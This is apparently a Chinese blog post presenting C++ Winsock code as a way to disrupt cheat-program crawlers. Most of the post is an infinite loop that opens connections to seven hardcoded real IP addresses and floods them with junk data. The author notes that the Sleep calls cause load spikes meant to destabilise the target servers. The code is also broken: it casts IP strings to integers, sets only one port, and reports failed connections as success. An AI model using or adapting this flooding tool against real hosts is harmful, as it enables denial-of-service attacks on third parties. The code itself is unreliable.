首页 > 其他分享 >扰乱网络爬虫的一种非绝对方法,其实别的办法也行,但工作量可能会有点大

扰乱网络爬虫的一种非绝对方法,其实别的办法也行,但工作量可能会有点大

时间:2024-05-15 18:08:49浏览次数:22  
标签:200 扰乱 socket recv 爬虫 send 工作量 socket5 buf

using namespace std;
#include<stdlib.h>
#pragma comment(lib,"WS2_32.lib")

#include <iostream>
#include <Windows.h>

SOCKET g_socket;
SOCKET g_socket2;
SOCKET g_socket3;
SOCKET g_socket4;
SOCKET g_socket5;
SOCKET g_socket6;
SOCKET g_socket7;
WSADATA wsd;
SOCKADDR_IN servAddr;//服务器地址
SOCKADDR_IN servAddr2;//服务器地址
SOCKADDR_IN servAddr3;//服务器地址
SOCKADDR_IN servAddr4;//服务器地址
SOCKADDR_IN servAddr5;//服务器地址
SOCKADDR_IN servAddr6;//服务器地址
SOCKADDR_IN servAddr7;//服务器地址
int retVal;//调用Socket函数的返回值
char buf[200];
int main()
{
    //初始化Socket环境
    if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {
        printf("WSAStartup failed!\n");
        return 1;
    }

    //创建监听的Socket
    g_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
    if (INVALID_SOCKET == g_socket) 
    {
        printf("socket failed!\n");
    }

    g_socket2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket2)
    {
        printf("socket failed!\n");
    }

    g_socket3 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket3)
    {
        printf("socket failed!\n");
    }
    g_socket4 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket4)
    {
        printf("socket failed!\n");
    }
    g_socket5 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket5)
    {
        printf("socket failed!\n");
    }

    g_socket6 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket6)
    {
        printf("socket failed!\n");
    }
    g_socket7 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (INVALID_SOCKET == g_socket7)
    {
        printf("socket failed!\n");
    }
    //设置服务器Socket地址
    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.S_un.S_addr = (ULONG)"104.21.42.44";

    servAddr2.sin_family = AF_INET;
    servAddr2.sin_addr.S_un.S_addr = (ULONG)"103.198.203.152";

    servAddr3.sin_family = AF_INET;
    servAddr3.sin_addr.S_un.S_addr = (ULONG)"180.111.196.17";

    servAddr4.sin_family = AF_INET;
    servAddr4.sin_addr.S_un.S_addr = (ULONG)"103.84.110.229";
    
    servAddr5.sin_family = AF_INET;
    servAddr5.sin_addr.S_un.S_addr = (ULONG)"58.217.250.18";

    servAddr6.sin_family = AF_INET;
    servAddr6.sin_addr.S_un.S_addr = (ULONG)"47.104.139.74";

    servAddr7.sin_family = AF_INET;
    servAddr7.sin_addr.S_un.S_addr = (ULONG)"103.178.56.133";
    //101.32.190.24 csol
    // 103.84.110.229
    // 103.198.203.152
    // 180.111.196.17
    //servAddr.sin_addr.S_un.S_addr = (ULONG)"58.217.250.17";
    //在实际应用中,建议将服务器的IP地址和端口号保存在配置文件中
    servAddr.sin_port = htons(80);
    //计算地址的长度
    //int sServerAddlen = sizeof(servAddr);
    //链接服务器
    retVal = connect(g_socket, (LPSOCKADDR)&servAddr, sizeof(servAddr));
    
    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket2, (LPSOCKADDR)&servAddr2, sizeof(servAddr2));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket3, (LPSOCKADDR)&servAddr3, sizeof(servAddr3));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket4, (LPSOCKADDR)&servAddr4, sizeof(servAddr4));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket5, (LPSOCKADDR)&servAddr5, sizeof(servAddr5));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket6, (LPSOCKADDR)&servAddr6, sizeof(servAddr6));

    if (retVal != 0)
    {
        printf("OK in");
    }

    retVal = connect(g_socket7, (LPSOCKADDR)&servAddr7, sizeof(servAddr7));

    if (retVal != 0)
    {
        printf("OK in");
    }
    sprintf_s(buf," * 0 ; *0.0000001f;  ;0* ;int 3; & Math_PI;");

apple:

        
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket6, buf, 200, 0);

        recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
    
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
send(g_socket5, buf, 200, 0); send(g_socket6, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0); send(g_socket2, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        send(g_socket7, buf, 200, 0);
        send(g_socket5, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);    
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        
        send(g_socket5, buf, 200, 0);
        send(g_socket6, buf, 200, 0);

        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);

        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket2, buf, 200, 0);
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);

        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0); recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);
        send(g_socket2, buf, 200, 0);
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);

        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);

        send(g_socket6, buf, 200, 0);
        send(g_socket5, buf, 200, 0);
        send(g_socket, buf, 200, 0);
        send(g_socket2, buf, 200, 0);
        send(g_socket3, buf, 200, 0);
        send(g_socket4, buf, 200, 0);
        Sleep(3);
        recv(g_socket6, buf, 200, 0);
        recv(g_socket5, buf, 200, 0);
        recv(g_socket, buf, 200, 0);
        recv(g_socket2, buf, 200, 0);
        recv(g_socket3, buf, 200, 0);
        recv(g_socket4, buf, 200, 0);
        recv(g_socket7, buf, 200, 0);

    goto apple;

}

这个,看我发消息摆的是啥意思,为啥不封装 第一点封装可能实时效能会受一点影响 第二点变量和函数调用速度是最佳的但是管理性能不好,如果这个代码用STL数据结构封装完全可以做到填加一个IP防御其就会多防御一个外挂服务器,我有点累,所以就没封装 ,插入的Sleep函数是震荡处理器峰值会有大的波动影响服务器的稳定性,家用机也能揍服务器 

这个外挂的网络爬虫把境内的所有ip遍历了,然后他启动时候会扫描客户机个数然后发来一些辣鸡,这个游戏的客户端分盗版和正版,外挂使用的是盗版的客户端,是内鬼嵌入项目组修改了数据传送代码导致的外挂的伤害飙升,人家想设置多少攻击就设置多少攻击,防御阻塞Server上下行,接收数据不给windows消息堆栈池中,有的攻击会失效,客户端会出现问题数据校验会被迫走容错代码

标签:200,扰乱,socket,recv,爬虫,send,工作量,socket5,buf
From: https://www.cnblogs.com/wscccc/p/18194438

相关文章

  • JAVA爬虫使用Selenium自动翻页
    关于Maven<dependency><groupId>org.jsoup</groupId><artifactId>jsoup</artifactId><version>1.15.3</version></dependency><dependency><groupId>org.seleniumhq.selenium</groupId>......
  • 爬虫 python的第一天
    1、安装pycharm及python相关的安装2、新建python项目3、引包 importrequestspipinstallrequests4、打开网页,找打你想要爬的数据URL 5、写代码获取到对应的数据,保存到本地。importrequestsurl="https://sns-video-al.xhscdn.com/stream/110/259/01e640315b0ef......
  • 爬虫多线程代码调试
    第一次调试fromthreadingimportThreadfromfake_useragentimportUserAgentimportrequestsfromtimeimportsleepforiinrange(1,11):url=f"https://www.hupu.com/home/v1/news?pageNo={i}&pageSize=50"headers={"User-......
  • 爬虫
    一、爬虫数据采集1、按照采集对象分类1、全网采集2、全站采集3、具体网站的指定数据采集2、采集方案分类1、利用http协议采集-页面分析2、利用api接口采集-app数据采集3、利用目标网站的api采集-微博、github、twitter、facebook二、request库爬虫首先需要安装request依......
  • python教程8-页面爬虫
    python爬虫常用requests和beautifulSoup这2个第三方模块。需要先进行手动安装。requests负责下载页面数据,beautifulSoup负责解析页面标签。关于beautifulSoup的api使用,详见api页面:https://beautifulsoup.readthedocs.io/zh-cn/v4.4.0/#find-all豆瓣评论中邮箱数据爬取案例:imp......
  • LLM生态下爬虫程序的现状与未来
    最近出现一批与LLM有关的新的爬虫框架,一类是为LLM提供内容抓取解析的,比如JinaReader和FireCrawl,可以将抓取的网页解析为markdown这样的对LLM友好的内容,例如markdown,这类本质上还是传统的爬虫解决方案。还有一类是通过LLM+agent工作流方式来构建的下一代爬虫程序,比如Skyvern、......
  • .Net下爬虫框架(整理)
    网上整理中......HtmlAgilityPack:HtmlAgilityPack是一个HTML文档处理库,它使您能够方便地在HTML文档中进行XPath查询和操作。虽然它不是一个专门用于爬取的框架,但可以用于解析和分析HTML页面,从而构建自己的爬虫。AngleSharp:AngleSharp是一个强大的.NET库,用于解析HTML和XML文档,并......
  • 爬虫两种绕过5s盾的方法
    importcloudscraperproxies={"http":"http://127.0.0.1:7890","https":"http://127.0.0.1:7890",}headers={'User-Agent':'Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36......
  • 【爬虫】项目篇-使用selenium、requests爬取天猫“华为手机”的商品评价
    目录使用selenium使用requests使用seleniumfromselenium.webdriverimportChrome,ChromeOptionsfromselenium.webdriver.support.waitimportWebDriverWaitfromselenium.webdriver.common.byimportByfromselenium.webdriver.supportimportexpected_conditionsasE......
  • aardio爬虫) 实战篇:逆向有道翻译web接口
    前言之前的文章把js引擎(aardio封装库)微软开源的js引擎(ChakraCore))写好了,这篇文章整点js代码来测一下bug。测试网站:https://fanyi.youdao.com/index.html#/逆向思路逆向思路可以看有道翻译js逆向(MD5加密,AES加密)附完整源码,逆向我就不赘述了。这篇文章说一下怎么将文章中给的......